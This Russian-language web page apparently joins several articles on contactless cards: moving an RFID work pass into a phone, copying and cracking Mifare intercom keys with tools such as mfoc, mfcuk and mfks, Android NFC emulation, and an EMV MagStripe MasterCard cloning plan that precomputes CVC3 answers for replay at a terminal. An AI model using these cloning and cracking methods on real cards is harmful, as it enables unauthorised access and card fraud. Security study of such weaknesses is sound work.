23 февраля 2018

Facebook Twitter Вконтакте

Я постепенно привыкаю к мысли о том, что скоро в телефоне будет сосредоточена вся жизнь человека. Не в том смысле, что мы будем постоянно ходить, уткнувшись в экраны мобильников, а в том, что телефон станет и удостоверением личности, и кошельком, и идентификатором, и пенсионным удостоверением, и правами, и т.д. На самом деле, несмотря на очевидные риски, я был бы очень рад этому, так как это сэкономило бы кучу времени.

Но несмотря на то, что до этого далеко, уже сегодня каждый может сделать небольшой шаг в этом направлении.

В интернете можно найти много инструкций о том, как карту для метро освободить от внешней оболочки, а потом сделать из нее, например, кольцо, с помощью которого можно будет проходить турникет в метро. Мне не близка тема колец, а в моем городе нет метро, однако и меня не обошла стороной необходимость часто пользоваться бесконтактной картой – пропуском на работу.

Каждый раз, приходя на работу, необходимо доставать пропуск, чтобы просканировать его в турникете на входе. Учитывая, что мой любимый кошелек защищен от сканирования (о чем производитель кошелька даже предупреждает специальным знаком), приложить кошелек к считывателю не выйдет.

Доставать пропуск из кошелька каждый раз при проходе турникета неудобно, поэтому приходится хранить заветную карточку по карманам, а значит, есть шанс забыть при смене одежды.

А вот телефон у меня всегда с собой. Выход найден – необходимо интегрировать пропуск в телефон. Увы, программно это сделать не получится – чип на пропуске защищен от копирования, и перенести его в телефон не выйдет. Значит, пойдем по пути модернизаторов проездных для метро.

Для начала необходимо понимать, что внутри карты запаяна катушка с микрочипом, на который и записан идентификатор, считываемый приемником на турникете. Смотрите, катушку видно на просвет.

Наша задача – извлечь эту катушку, не повредив ее. Основная сложность состоит в том, что чип соединен с катушкой двумя тоненькими проводками, которые очень легко порвать.

Значит, вместо механики нам поможет химия. Мы будем размягчать и расслаивать карту с помощью агрессивных веществ.

В сети для этой цели рекомендуют использовать ацетон, который растворит материал корпуса. Я не стал использовать ацетон, так как не хочу потом отмывать катушку от остатков пластика. Вместо ацетона я взял средство для удаления ультрафиолетового клея (LOCA). Оно должно действовать менее агрессивно.

Берем металлическую или стеклянную посуду и заливаем карту так, чтобы вся поверхность оказалась под слоем жидкости. Не используйте пластиковые емкости – ацетон их расплавит, а еще замачивайте карту в герметичной посуде, чтобы не надышаться парами. Оставляем это все на три-четыре часа. Поначалу кажется, что ничего не происходит. Не нужно спешить – все будет.

Спустя четыре часа видим, что карточка расслоилась и деформировалась из-за того, что разные слои размягчались с разной скоростью. Отлично, это нам и нужно.

Достаем карту из жидкости и начинаем процесс расслоения. Не спешите, риск порвать проволоку высок. Постепенно извлекаем катушку из пластика, периодически проверяя на просвет положение микрочипа.

Если сделать все не спеша и аккуратно, в итоге мы получим вот такую конструкцию, свободную от пластика. Большая часть дела сделана.

Теперь укрепим скотчем место соединения катушки с микрочипом. Я просто обклеил с двух сторон это место скотчем. На толщине это почти не сказалось, зато теперь катушку можно брать в руки, не боясь повредить контакты.

Дело за малым – установить полученный девайс в телефон. В моем случае это уже знакомый вам Samsung Galaxy S7 Active, который со дня на день ждет новую камеру и поэтому еще не проклеен. Учитывая, что после замены камеры телефон будет продан, катушка там будет находиться временно, до момента продажи. Перед окончательной сборкой я уберу из телефона пропуск и переставлю его в следующий аппарат.

Ищем удобное место для размещения. Я разместил пропуск так, чтобы микрочип оказался в одном из углублений демпфирующего слоя и не помешал остальным элементам при сборке.

Вышло отлично. Чип в углублении, катушка на месте. Осталось собрать все воедино.

Собираем, предварительно убедившись, что новый элемент не повлиял на толщину и не стал помехой. Все отлично, рама встала на место без проблем. Окончательно собираем и включаем аппарат. Телефон работает, это уже успех! Увы, учитывая, что пропуск работает на частотах, отличных от тех, что используются в телефонных чипах NFC, проверить работоспособность катушки прямо в телефоне не выйдет – телефон просто не видит пропуск и не видел до этого.

Так что проверку боем полученный гибрид пройдет завтра утром, когда я поеду на работу и попробую пройти турникет с помощью телефона, а статья будет дополнена гифкой, подтверждающей работоспособность метода (или не подтверждающей) :).

UPD: А вот и обещанная GIF. Всё работает как надо.

Данный метод работает и для проездных метро, с которыми, учитывая их меньшую толщину и плотность пластика, все оказывается еще проще.

Вместо заключения

После завершения работ с интеграцией пропуска в телефон меня посетила одна мысль, которая теперь не дает мне покоя, – а каким образом устроена внутри бесконтактная банковская карта?

С того момента, как я узнал, что с помощью часов Samsung Gear S3 можно платить, используя сервис Samsung Pay, я захотел себе эти часы.

Однако их стоимость является для меня слишком высокой, и просто так взять и отдать такую сумму за подобный гаджет я не готов. Значит, попробуем сделать аналог таких часов, растворив банковскую карту и интегрировав внутреннюю начинку в умный браслет или классические часы. Конечно, это будет не совсем Samsung Pay, но сам факт возможности платить браслетом и часами мотивирует на эксперименты.

Я верю, что рано или поздно цифровая эпоха наступит повсеместно и человек станет еще мобильнее, а пока процесс внедрения электронных NFC-пропусков добрался не до всех организаций, приходится выкручиваться самому, создавая себе дополнительные удобства.

Просмотров: 1 319

Инновационная технология MIFARE разработана с целью обеспечения безопасности в различных системах доступа.

Конфиденциальность и безопасность обеспечиваются за счет применения специальных криптографических алгоритмов.

На сегодняшний день формат идентификаторов RFID Mifare используется в платежных системах, для доступа на режимные объекты и в домофонах с высоким уровнем взломозащиты. Наиболее часто пользуются двумя вариантами – MF Classic и Plus.

Особенности ключей

Технология ключей формата Mifare основана с использованием основных критериев стандарта бесконтактных карт ISO 14443. Благодаря этому они могут совместно использоваться с другими технологиями доступа.

Процедура открытия замка ключом Mifare

Например, достаточно часто можно встретить банковские карты с внедренными MF-идентификаторами. Их могут применять и в некоторых смартфонах и телефонах с технологией NFC.

Карты или ключ-брелок Mifare – это очень удобные устройства бесконтактной идентификации:

1. они не используют источники питания, требующие периодической замены;
2. отсутствует потребность контакта при считывании, этот процесс может происходить с расстояния до 10 см;
3. данные считываются за 0,2 сек, что выглядит моментально для человеческого восприятия.

Принцип работы

Каждый идентификатор Mifare владеет индивидуальным идентификационным номером (он называется UID-номер) и перезаписываемой памятью. Номер не является секретным и не требует защиты.

Иногда его указывают на карте доступа или брелке. Что касается доступа к памяти, то он надежно защищен.

Чтение из памяти и запись в нее возможны только при условии наличия соответствующих ключей доступа. Информация, передаваемая между картой/брелком и считывателем, шифруется.

Типичная структура карты Mifare

Применяемые в системах доступа считыватели могут параллельно считывать как UID-код, так и данные с закрытой памяти. Бюджетные системы считывания могут работать только с UID и не читают данные с памяти.

Поскольку UID не является секретным, то сделать дубликат ключа Mifare для такого считывателя не составит труда. Достаточно только переписать UID-код, по которому можно будет получать доступ.

В дорогих системах считывания поддерживается работа с памятью и UID-кодом, что практически исключает возможность копирования ключей Eltis Mifare на другие устройства. Процесс обмена данными между электронным блоком считывания и брелком происходит на частоте 13,56 МГц с расстояния до 6 см.

Как скопировать идентификаторы Mifare

Достаточно часто на домофонные ключи Mifare нужно сделать дубликаты.

Для выполнения этой процедуры хорошо подойдет устройство SMKey.

С помощью этого копировальщика ключей Mifare можно делать копии меток с закрытыми секторами.

Полученную информацию впоследствии используют для записи на специальную заготовку, которая заменит оригинальный брелок домофона.

Процесс копирования

Процедура дублирования заключается в расчете криптоключа на основе данных, полученных от считывателя.

Процесс подбора Mifare-ключей, как это происходит в других устройствах, не выполняется, что ускоряет процесс изготовления дубликатов.

С помощью SMKey поддерживается копирование меток MF Classic 1K и Ultralight. Выполняется эта процедура на частоте 13,56 МГц.

После копирования меток MF Classic дубликатор домофонных ключей Mifare SMKey осуществляет запись данных на специальную болванку. В основном пользуются двумя видами заготовок MF Zero и MF OTP.

Прибор для дублирования ключей Mifare

Эти устройства поддерживают однократную запись UID, что позволяет обходить фильтры считывающих систем Iron Logiс. Скопированные метки Ultralight записывают на заготовки MF UL.

SMKey – это дубликатор домофонных ключей Mifare, который владеет встроенной памятью на 100 ячеек. Это позволяет производить считывание и запоминать метки с разных устройств доступа (домофонных систем).

Впоследствии с этой базы можно создавать копии криптоключей для домофонов, использующих новую технологию защиты.

Скопированную базу меток можно сохранить и на компьютере для последующего клонирования ключей с помощью специальной программы iKeyBase, работающей под ОС Mac Os, Windows, Linux.

Программирование брелков

Запрограммировать брелок на работу с домофоном на основе MF криптоключей можно с помощью специального прибора – программатора.

Кроме этого устройства, также потребуется карта объекта, которая представляет собой специально запрограммированный производителем брелок с соответствующими ключами.

Программирование брелка с помощью программатора – это достаточно простой процесс.

Дубликатор-программатор для ключей-брелков Mifare

Он включает следующие действия:

• к программатору подносится идентификатор-карта объекта, с которой считывается и запоминается информация;
• к программатору подносится брелок-заготовка, который предстоит запрограммировать;
• вся информация с программатора переписывается в память брелка.

Важно помнить, что без информации, которая находится на идентификаторе объекта, провести процедуру программирования и сделать новые домофонные ключи Mifare не получится.

Можно ли взломать MF-ключи

Взлом ключей Mifare — достаточно трудоемкий и сложный процесс, но выполнить его реально.

В качестве примера рассмотрим использование ридера RD-03AB со специальным программным обеспечением.

В основном пользуются следующими тремя программами:

1. Mfoc – для взлома ключей этим плагином потребуется иметь хотя бы один известный криптоключ;
2. Mfcuk – выполняет взлом ключей Mifare посредством накопления данных случайного генератора по четырехбитным ответам процесса авторизации;
3. Mfks – используется для восстановления MF-ключей на идентификаторах современных производителей.

Инструкция по взлому

Чтобы взломать MF-криптоключи, потребуется ридер RD-03AB и соответствующая карта доступа. Для подключения ридера к компьютеру используется один из портов: USB или COM.

Чтобы получить один криптоключ, может уйти от 10 до 30 минут. После того, как он будет получен, процесс можно остановить и перейти на работу с программой Mfoc.

Взлом ключа Mifare с помощью программы Mfks

Скорость выполнения алгоритма этой программы существенно выше. Перед тем, как пытаться взломать MF-ключи, следует проверить карту-идентификатор на возможность взлома.

Для этого:

• запускается Mfks и используется опция «verbose_level 2» – следует ожидать 40 минут, если процесс не принес успеха, его прекращают;
• запускается Mfcuk с аналогичной опцией и ожидается результат (его можно ждать несколько дней) – это зависит от скорости накопления статистических данных.

Программы Mfks и Mfcuk взламывают много криптоключей, но порой бывает и так, что идентификаторы некоторых производителей не поддаются копированию.

Заключение

Использование MF-ключей позволило существенно повысить безопасность на разных объектах, включая и жилой сектор, где эта технология активно применяется в домофонах.

Несмотря на высокий уровень защиты новой технологии, существуют методы и устройства для копирования ключей Mifare и изготовления на их основе дубликатов брелков.

Выполняя эту процедуру, важно помнить, копия брелка к домофону должна использоваться только с целью замены утерянного или сломанного оригинала.

Когда я окунулся в километры описаний преобразования реальных банковских карт в виртуальный аналог, то понял, что просто перенести, даже в сжатом виде, в поле статьи эту информацию у меня не получится. Написано не для массового читателя, нашпиговано специальными терминами и имеет чересчур наукообразный вид. В статье пойдет речь об эмуляции карты NFC на Android. Поэтому — просто о сложном!

Что такое эмуляция карты

Имеется совершенно конкретная технология HCE (Host Card Emulation), которая позволяет воспроизвести дубликат NFC-карты, то есть бесконтактной по методу соединения с внешним миром. Естественно, понадобится некое программное обеспечение, с его помощью и произойдет второе рождение вашего «пластика». О чем речь?

Сюда попадают банковские карты, для оплаты проезда в общественном транспорте, пропуска на работу и еще целый отряд необходимых «электронных ключей» для повседневной жизни.

Есть два принципиальных подхода к процессу клонирования карт. Возможно хранить всю информацию о ней во встроенном элементе безопасности, файл данных в зашифрованном виде записывается в самом мобильном устройстве. Либо он переносится в облачное хранилище и защищен от постороннего доступа запароленным входом.

Во всей этой истории нас, в первую очередь, интересует банковская карта и связанное с ней понятие бесконтактного платежа.

Именно об этом пойдет речь в дальнейшем, остальные прикладные функции эмуляции носят эпизодический характер и применяются на практике пытливыми продвинутыми юзерами.

Нужно заметить, что работает связка NFC Android с помощью аккаунта от Google, предварительно заведенного вами, в случае установленной другой операционной системы (на ум приходит только продукция компании Apple) на мобильном устройстве, сделать из него двойник вашего платежного инструмента получится средствами самого телефона. Это значит, что в нем есть вмонтированный чип, в котором лежит буквально все, что касается вашего счета в банке и идентификационных данных.

Вообще, все устройства, имеющие собственный «банк данных», обладают одной очень привлекательной особенностью. Доступ к нему ограничен. Строго говоря, его нет даже у операционной системы девайса и извлечь что-либо, без вашей помощи, никому постороннему не удастся.

Кроме того, подобные устройства способны на проведение оплаты в бесконтактном режиме без помощи интернета. Все необходимое для транзакции уже есть под рукой.

Как это работает

До 2017 года был написан не один десяток статей на эту тему. С приходом новых приложений, таких как Google Pay, Samsung Pay и Apple Pay, страсти улеглись. Процесс виртуализации физического «пластика» заметно упростился и многие проблемы, связанные с этой процедурой, отпали сами собой. В марте прошлого года был запущен проект Android Pay (детище Google, впоследствии переработанное в современный вариант), детально описанный и донельзя конкретизированный. Изменения в алгоритме эмуляции с тех пор почти не произошли.

Вот как это работает сегодня.

1. Прежде всего, предстоит выбрать и скачать нужное вам приложение, из числа предложенных.
2. Установить на смартфон.
3. Затем приступить к главному — эмулировать банковскую карту. Потребуется ее отсканировать, остальные необходимые данные ввести в ручном режиме. Ничего особенного, сведения о держателе счета в банке, домашний адрес, CVV-код с обратной стороны «пластика», номер телефона.
4. Согласиться с пользовательским соглашением.
5. Подтвердить СМС правильность ввода.
6. Карта эмулирована, она у вас есть и хранится в приложении. В нужный момент просто активируйте NFC-модуль и саму программу. Платеж будет проведен моментально.

Отдельно остановлюсь на процедуре «внесения» дубликата пластикового пропуска куда-либо, в этот разряд можно отнести все другие носители информации, не связанные с банками.

Пытливые китайские умы сделали процедуру переноса физического объекта в память смартфона максимально комфортной и несложной. Вам предстоит скачать NFC Card Emulator с Play Маркета и установить на устройство. Затем активировать NFC-чип (без него никуда), запустить приложение и поднести к задней крышке телефона то, что хотите продублировать. «Пластик» предстанет в виртуальном образе в самой программе, в дальнейшем на него нужно будет нажать и поднести к объекту взаимодействия.

Как удивятся охранники с вашей работы, когда турникет на проходной откроется путем приложения смартфона к нему. Бывшие менты из охраны не любят неожиданностей, и вцепятся в вас мертвой хваткой. Правда, ненадолго.

Что требуется для эмуляции

Уже упомянутый NFC Card Emulator и Root-права в вашем устройстве. Все дело в том, что для изменения настроек в NFC (без этого не обойтись) придется кое-что изменить в системных файлах. Что под силу только суперпользователю.

Именно здесь кроется подвох, о чем нельзя не упомянуть. Предыдущее описание производства виртуальной платежной карты возможно только на совершенно «чистом» телефоне. Что я имею в виду. У вас должна стоять официальная прошивка, Root-права должны отсутствовать.

Только в этом случае получится провести платеж. А значит, если хотите иметь у себя в устройстве буквально все, что должно вас огорчить. Придется что-то выбрать. Либо платите в магазине, либо ходите в бассейн по эмулированному пропуску. Так обстоят дела сегодня, возможно в будущем произойдут перемены к лучшему.

Безопасность

Недавно заглянул в свой старый Xiaomi MI3 и был немало удивлен. Устройство имеет собственный элемент безопасности! В меню настроек предлагается на выбор места хранения: встроенный или на сим-карте. Что касается последнего места, то оно не прижилось на практике, ввиду сложности реализации. На сегодняшний день распространен вариант облачного хранилища Google, счастливчики могут похвастать собственным специальным чипом.

Возможные проблемы

Из возможных ошибок упомяну одну, но наиболее «тяжелую» для пользователей. Несколько лет назад боролись с сообщением из операционной системы: «нет доступных элементов защиты. Эмуляция NFC-карты будет отключена». С появлением реально работающих инструментов переноса платежной карты в виртуальную область, эти ошибки пропали. Что говорит об уровне новейших разработок.

Эмуляция карты NFC Android в настоящее время не является утомительным или сложным занятием. По крайней мере, те, кто хочет воспользоваться бесконтактным способом оплаты покупок, без труда воспользуются максимально разжеванными, в картинках, этапами привязки карты в приложении, предварительно установленном на собственный телефон. Все это есть в интернете.

Всегда было интересно посмотреть, что происходит у банковской карточки под «капотом». Как реализуется протокол общения банковской карточки и POS-терминала, как это работает и насколько это безопасно. Такая возможность предстала передо мной, когда я проходил стажировку в компании Digital Security. В результате при разборе одной известной уязвимости EMV карт в MagStripe-режиме, было решено реализовать мобильное приложение, которые способно общаться с терминалом по бесконтактному интерфейсу, с использованием своих команд и подробным разбором запросов и ответов. А также попробовать реализовать способ клонирования карт MasterCard в режиме MagStripe.
В этой статье я постараюсь описать, что такое EMV-карта, как она работает и как используя Android можно попытаться клонировать вашу MasterCard карту.
«There are some things money can’t buy. For everything else, there’s MasterCard»

Что такое EMV карта?

EMV — это международный стандарт для банковских карт с чипом. В разработке этого стандарта принимали участия Europay + MasterCard + VISA, отсюда и название. Попробуем разобраться, как же все таки карта общается с POS-терминалом по бесконтактному интерфейсу.
Начнем с самых основ.
Бесконтактная EMV карта на физическом уровне работает почти так же, как и RFID метка. Если базисно то, чип попадает в электромагнитное поле, а в замкнутом проводящем контуре (в нашем случае это будет антенна, расположенная по периметру), помещенном в переменное магнитное поле, образуется переменный электрический ток. Этот ток заряжает специальный конденсатор, подключенный параллельно к резонансному контуру карты. Энергия, запасенная в конденсаторе, используется для выполнения микросхемой карты различных операций. Когда ридер изменяет электромагнитное поле, изменения сразу будут заметны на чипе. Используя модуляцию сигнала, мы можем передавать информацию в бинарном виде. Если на карте подключить нагрузочное сопротивление и или изменить емкость конденсатора, то можно изменить силу тока в контуре карты, что приведет к изменению создаваемого им электромагнитного поля в области контура ридера, таким образом карточка передает данные. Ридеру останется детектировать эти изменения. Подобное физическое взаимодействие регламентируется стандартом ISO/IEC 14443 «Identification Cards — Contactless integrated circuit(s) cards — Proximity cards”.

Сам чип карты представляет собой смарт карту, на которой работает JavaCard, отдельная версия Java для платформ с малыми вычислительными ресурсами и поддержкой криптографических алгоритмов. На JavaCard загружаются апплеты, которые, и являются приложениями. Также существует GlobalPlatform это некий стандарт для JavaCard, который предоставляет возможность безопасного управления данными на карте и позволяет загружать, изменять и удалять приложения на карте. В этой статье механизмы безопасности самой смарт карты мы рассматривать не будем. Достаточно знать, что защищенные данные, например приватный ключ и секретный мастер ключ карты лежат в защищенном месте и вытащить их стандартными средствами невозможно.
Также еще напомню немного терминологии, для тех, кто не знаком.
POS-терминал (Point of Sale) — устройство продавца, которое считывает карту и инициирует платеж. Далее будем называть это устройство просто терминалом.
Банк эмитент — это банк, который выпустил вашу карту.
Банк эквайер — банк, который выдает продавцам POS-терминалы и обрабатывает платежи с них.
Платежная система — центральное звено между банком эквайером и банком эмитентом, через нее проходят абсолютно все платежи, и она знает какой банк какому сколько должен перевести денег. Платежных систем в мире не мало, кроме всем известных Visa и MasterCard есть ещё и American Express, China UnionPay и российская платежная система МИР.
Хорошо, карта и ридер могут общаться. Они посылают друг другу APDU-команды в виде Tag-Length-Value т.е. передается название тэга в шестнадцатеричном виде, его длина и само значение. Все команды описаны конечно же в документации и выглядят примерно так:
Стандартная EMV транзакция проходит в несколько этапов, я опишу полный алгоритм взаимодействия в случае контактного интерфейса, для бесконтактного интерфейса алгоритм несколько укорочен:

• Выбор приложения;
• Инициализация обработки приложения;
• Считывание данных приложения;
• Офлайн аутентификация;
• Обработка ограничений;
• Проверка держателя карты;
• Риск-менеджмент на стороне терминала;
• Анализ действий терминала;
• Риск-менеджмент на стороне карты;
• Анализ действий карты;
• Процессинг в режиме on-line;
• Завершение операции.

Коротко рассмотрим каждую операцию.
Выбор приложения. Часто бывает, что на одной карте может быть несколько приложений. Например, банковская карта и проездной билет. И терминалу как-то необходимо разобраться, где и какой алгоритм ему использовать. Для выбора приложения используются так называемые Идентификационные Коды приложения (Application Identifier – AID). Что бы в этом разобраться терминал посылает команду SELECT. Например, AID карты Visa Classic будет выглядеть следующим образом: A0000000031010. Если в ответ придет несколько таких кодов и терминал умеет работать с несколькими приложениями, то терминал выведет на экран список и предложит выбрать нужное нам приложение. Если терминал не поддерживает ни один из кодов приложений, то операция будет отклонена терминалом.
Инициализация обработки приложения. Здесь сначала проверяется географическое место пребывания. Например, карты Maestro Momentum могут работать для оплаты только в России. Этот этап сделан для того, чтобы предоставить эмитентам возможность применять существующие онлайн методы риск-менеджмента при проведении офлайн операций. На этом этапе EMV-транзакция может быть отменена по инициативе самой карты, если данный тип операции запрещен в данной стране мира эмитентом. Далее карта передает терминалу набор специально структурированной информации, содержащей описание функциональности карты и приложения.
Считывание данных приложения. Терминалу передаются различные данные карты необходимые для транзакции, например номер карты, expiration date, счетчик транзакций и много других данных. О некоторых из них будет сказано далее.
Пример данных:
Также передается сертификат публичного ключа банка эмитента и самой карты. Для того чтобы терминал был способен проверить цифровую подпись некоторых данных карты используется PKI-инфраструктура (Public Key Infrastructure). Вкратце, у платежной системы есть пара ключей — публичный и приватный и платежная система является для всех участников CA (Center Authority). По сути платежная система для каждого банка эмитента выпускает новую пару ключей, и при этом формирует сертификат публичного ключа банка эмитента, подписывая его приватным ключом CA. Далее, когда банк выпускает новую карту, он соответственно генерирует для карточки пару ключей, и также формирует сертификат публичного ключа карты, подписывая его с помощью приватного ключа банка. В терминалах обычно зашит сертификат публичного ключа для различных платежных систем. Таким образом, когда карточка передает сертификат публичного ключа банка эмитента и сертификат самой карты, терминал может с легкостью проверить всю цепочку, используя публичный ключ платежной системы. Терминал с помощью публичного ключа платежной системы сначала проверяет подлинность сертификата банка эмитента, если он подлинный, то значит ему можно доверять и теперь с помощью сертификата банка эмитента можно проверить сертификат самой карты. Более подробней в статье про безопасность EMV .
Офлайн аутентификация. Терминал определяет тип поддерживаемого метода оффлайн аутентификации. Существует статичная (Static Data Authentication – SDA), динамическая (Dynamic Data Authentication – DDA) и комбинированная (Combined Data Authentication – CDA). Эти методы также построены на основе PKI. SDA это просто подписанные данные на приватном ключе банка эмитента, DDA — терминал посылает какое-то случайное число и карточка должна подписать его, используя свой приватный ключ, а терминал проверит эту подпись используя полученный ранее сертификат карты, таким образом терминал удостовериться в том, что карточка и правда обладает приватным ключом — следовательно является подлинной. CDA это просто комбинация обоих способов.
Обработка ограничений. Здесь терминал проверяет полученные ранее данные с карты на условие пригодности для данной операции. Например, проверяет срок начала/окончания действия приложения Application Expiration Date (Tag ‘5F24’) и Application Effective Date (Tag ‘5F25’). Также производится проверка версии приложения. Результаты операций, проводимых на данном этапе, также записываются в отчет TVR (Terminal verification results). По результатам этого этапа транзакция не может быть отменена, даже в случае, если, например, срок действия приложения истек.
Проверка держателя карты. Верификация держателя карты производится для того, чтобы аутентифицировать человека, предоставившего карту и проверить, является ли он подлинным владельцем карты. Стандарт EMV предоставляет различные методы верификации держателя карты (Cardholder Verification Method). Методы верификации определены как на терминале, так и на карте. Они содержатся в так называемых CVM-листах. В процессе выполнения, терминал и карточка сравнивают полученные CVM-листы и выбирают общий метод верификации.
Список поддерживаемых методов верификации:
Вот также есть интересная информация на эту тему.
Риск-менеджмент на стороне терминала. На этом этапе терминал проводит внутреннюю проверку параметров транзакции, исходя из установок риск-менеджмента банка-эквайера. Процедуры риск-менеджмента могут быть выполнены терминалом в любое время между моментами завершения процесса чтения данных карты и формирования терминалом первой команды GENERATE AC. Риск-менеджмент на стороне терминала включает в себя три механизма:

• контроль размера операций, выполненных по карте (Floor Limit Checking);
• случайный выбор транзакции для онлайн авторизации этой транзакции эмитентом (Random Transaction Selection);
• проверка офлайн активности использования карты (Velocity Checking).

Анализ действий терминала. На этом этапе терминал анализирует результаты предыдущих шагов транзакции. По результатам анализа терминал принимает решение о том, следует ли провести операцию в online-режиме, разрешить ее проведение в офлайн режиме или отклонить операцию.
Риск-менеджмент на стороне карты. Карта, получив из команды GENERATE AC данные, касающиеся транзакции, терминала и результатов проверок терминала, в свою очередь выполняет собственные процедуры управления рисками и выносит собственное решение о способе завершения операции.
Анализ действий карты. На этом этапе карта завершает проведение процедур риск-менеджмента и формирует ответную криптограмму терминалу. Если карта решает одобрить транзакцию, то формируется Transaction Certificate. Если карта принимает решение о выполнение операции в режиме реального времени, то она формирует ARQC (Authorization Request Cryptogram). Если карта использует альтернативные методы авторизации, тогда используется Application Authorization Referral. В случае, если карта отклоняет транзакцию, то Application Authentication Cryptogram.
Еще одна криптограмма ARPC (Authorization Response Cryptogram) нужна для аутентификации эмитента. Эмитент формирует криптограмму ARPC и отсылает криптограмму карте, если карта подтвердит пришедшую криптограмму, то следовательно, эмитент аутентифицирован картой.
Немного о безопасности ключей и взаимной аутентификации карты и эмитента из книги И. М. Голдовского: Смысл взаимной аутентификации заключается в том, что карта и терминал аутентифицируют друг друга с помощью проверки подлинности криптограмм ARQC и ARPC. Криптограммы представляют собой данные, формируемые с использованием секретного ключа (который известен карте и банку эмитенту), номера транзакции, случайного числа, сгенерированного терминалом, а также некоторых реквизитов транзакции, терминала и карты. В случае ARPC к перечисленным данным еще добавляется авторизационный код ответа эмитента. Без знания секретного ключа карты для генерации криптограммы вычислить значения ARQC/ARPC невозможно за обозримое время с текущим уровнем технологий, и потому факт их успешной верификации указывает на подлинность карты и эмитента. Онлайн аутентификация является наиболее надежным способом аутентификации карты. Это связано с тем, что она выполняется непосредственно эмитентом, без посредника в виде терминала. Кроме того, для онлайновой аутентификации используется алгоритм 3DES с временным ключом размером 112 битов, криптостойкость которого соответствует криптостойкости алгоритма RSA с длиной модуля асимметричного ключа, используемого для офлайн аутентификации приложения карты, более 1700 бит. Использование на карте асимметричных ключей такой длины все еще достаточная редкость. Обычно используются ключи с модулем длиной 1024, 1152 или 1408 бит.
В конечном итоге онлайн транзакция проходит по цепочке:
Карта <—> POS-Терминал <—> Банк Эквайер <—> Платежная Система <—> Банк Эмитент.

Клонируем карту MasterCard в режиме MagStripe

Перейдем непосредственно к принципу клонирования. Данный метод атаки на бесконтактные карты был опубликован двумя исследователямиMichael Roland, Josef Langerиз Австрийского университета. В его основе лежит общий принцип, который называется Skimming. Это такой сценарий, при котором злоумышленник крадет деньги с банковской карточки путем считывания (копирования) информации с этой карты. В общем случае здесь важно сохранять PIN-код в тайне и не допускать его утечки. Но в методе австрийских ребят это нам знать не нужно. Клонирование платежной карты выполняется успешно для версии ядра приложения EMV Contactless Kernel 2. Версия этого протокола поддерживает два режима работы для бесконтактных карт: EMV протокол (MasterCard PayPass M/Chip) и MagStripe (MasterCard PayPass MagStripe) режим.
MagStripe — это режим поддержки карт с магнитной полосой. Этот режим реализуется на картах MasterCard с бесконтактным интерфейсом. Режим MagStripe скорее нужен для банков которым сложно переводить всю инфраструктуру для поддержки чиповых бесконтактных EMV транзакций. Кстати, у карт Visa также есть аналогичный режим работы — PayWave MSD (Magnetic Stripe Data).
Процесс обработки транзакции для бесконтактных карт урезан в сравнении с чиповыми и обычно работает в следующем режиме:

1. Терминал отправляет команду SELECT PPSE (Proximity Payment System Environment). Карта шлет список поддерживаемых приложений.
2. Терминал отправляет команду SELECT. В ответ получает необходимые детали приложения.
3. Терминал отправляет команду GET_PROCESSING_OPTIONS. Карта отвечает какой тип аутентификации она поддерживает и существует ли там верификация держателя карты.
4. Терминал отправляет команду READ_RECORDS. Карта в ответе посылает Track1 и Track2 практически аналогичный тому, что записан на магнитной полосе карты.
5. Терминал отправляет команду COMPUTE_CRYPTOGRAPHIC_CHECKSUM. Которая означает, что карта должна на основе переданного Unpredictable Number сгенерировать значение CVC3.

Как это все выглядит в реальной жизни?Это выглядит как APDU команды. Список всех тэгов.
APDU — Application Protocol Data Unit — это условное обозначение кадра с командой карте или ответом карты.
На хабре есть пара статей на эту тему и .
Карта поддерживает специальную команду COMPUTE CRYPTOGRAPHIC CHECKSUM, аргументом которой являются данные, определенные в объекте Unpredictable Number Data Object (UDOL). В результате карта с помощью алгоритма 3DES и секретного ключа вычисляет динамическую величину CVC3 (Card Verification Code). В качестве аргумента функции 3DES используется конкатенация данных UDOL и счетчика транзакции (Application Transaction Counter,ATC). Таким образом, значение величины CVC3 всегда зависит от объектов UN и ATC.
Другими словами, эта команда нужна, чтобы карта сгенерировала некую «подпись” для того, чтобы эмитент мог верифицировать карту. Однако, в этой подписи отсутствует подпись самой транзакции. В подписи содержатся значения ATC — 2 байта, CVC3 (Track1) — 2 байта, CVC3 (Track2) — 2 байта, которые генерируются картой на основе секретного ключа, который также знает банк-эмитент и счетчика транзакций (ATC). При этом также для генерации подписи POS-терминал сообщает карте UN (Unpredictable Number) — 4 байта, который также используется в генерации подписи. Unpredictable Number препятствует формированию кодов аутентификации на реальной карте для последующего использования в мошеннических транзакциях. Для атаки нам сильно мешает UN, поскольку 4 байта не представляется возможным перебрать, не выйдя за пределы счетчика транзакций. Однако, в спецификации этого есть некоторые слабости.
Во-первых, спецификация ограничивает UN кодировкой чисел, а именно Двоично-Десятичным Кодом (BCD), что по сути означает что, если мы посмотрим на такое закодированное число в HEX, то мы увидим только цифры от 0 до 9, все остальные значения считаются как бы запрещенными. Таким образом, количество UN уменьшается с 4,294,967,295 до 99,999,999.
Во-вторых, количество значащих цифр UN определяется картой. Таким образом в зависимости от специальных параметров в треках количество цифр в UN может быть от 10 до 10000 в зависимости от типа карты, на практике чаще всего встречается 1000 значений.
Таким образом план атаки выглядит следующий:

1. Считываем карту и узнаем количество значащих цифр у UN, которое будет предоставлять терминал
2. Перебираем все UN, получаем все возможные значения функции COMPUTE_CRYPTOGRAHIC_CHECKSUM, сохраняем их в соответствующей таблице с мапингом UN -> Result
3. Подносим к POS-терминалу, узнаем число, которое просит POS-терминал.
4. Выбираем из таблицы нужный результат и подставляем его в ответ терминалу.
5. Транзакция уходит.
6. PROFIT. Но успех одобрения транзакции не гарантирован, поскольку банк эмитент может отклонить такую транзакцию.

Стоит отметить также, что счетчик транзакций (ATC) препятствует повторному использованию ранее использованных кодов аутентификации, а значит что если мы использовали такую атаку, то необходимо копировать карту заново, поскольку счетчик транзакции уже использовался для получения информации и был использован в подписи, что значит, что если мы имели счетчик транзакций 1000, а после отправили транзакцию в банк, то банк уже не примет транзакции со счетчиком ниже <1001. Кроме того, счетчик транзакций ограничен 2 байтам, что означает, что мы можем выполнить не более 65 циклов клонирования карты, после этого карта скорее всего перестанет работать.
В большинстве случаев передаваемые данные с карты статические для всех транзакций. Конечно, кроме COMPUTE_CRYPTOGRAPHIC_CHECKSUM. Для генерации динамического CVC3 кода, приложение карты должно быть прочитано командой SELECT, затем GET_PROCESSING_OPTIONS, а только потом COMPUTE_CRYPTOGRACHIC_CHECKSUM и это довольно важный момент. Эти три команды обязательны для генерации CVC3. По данным эксперимента используя всего лишь эти три команды, перебор 1000 значений на Google Galaxy Nexus S занял всего одну минуту.
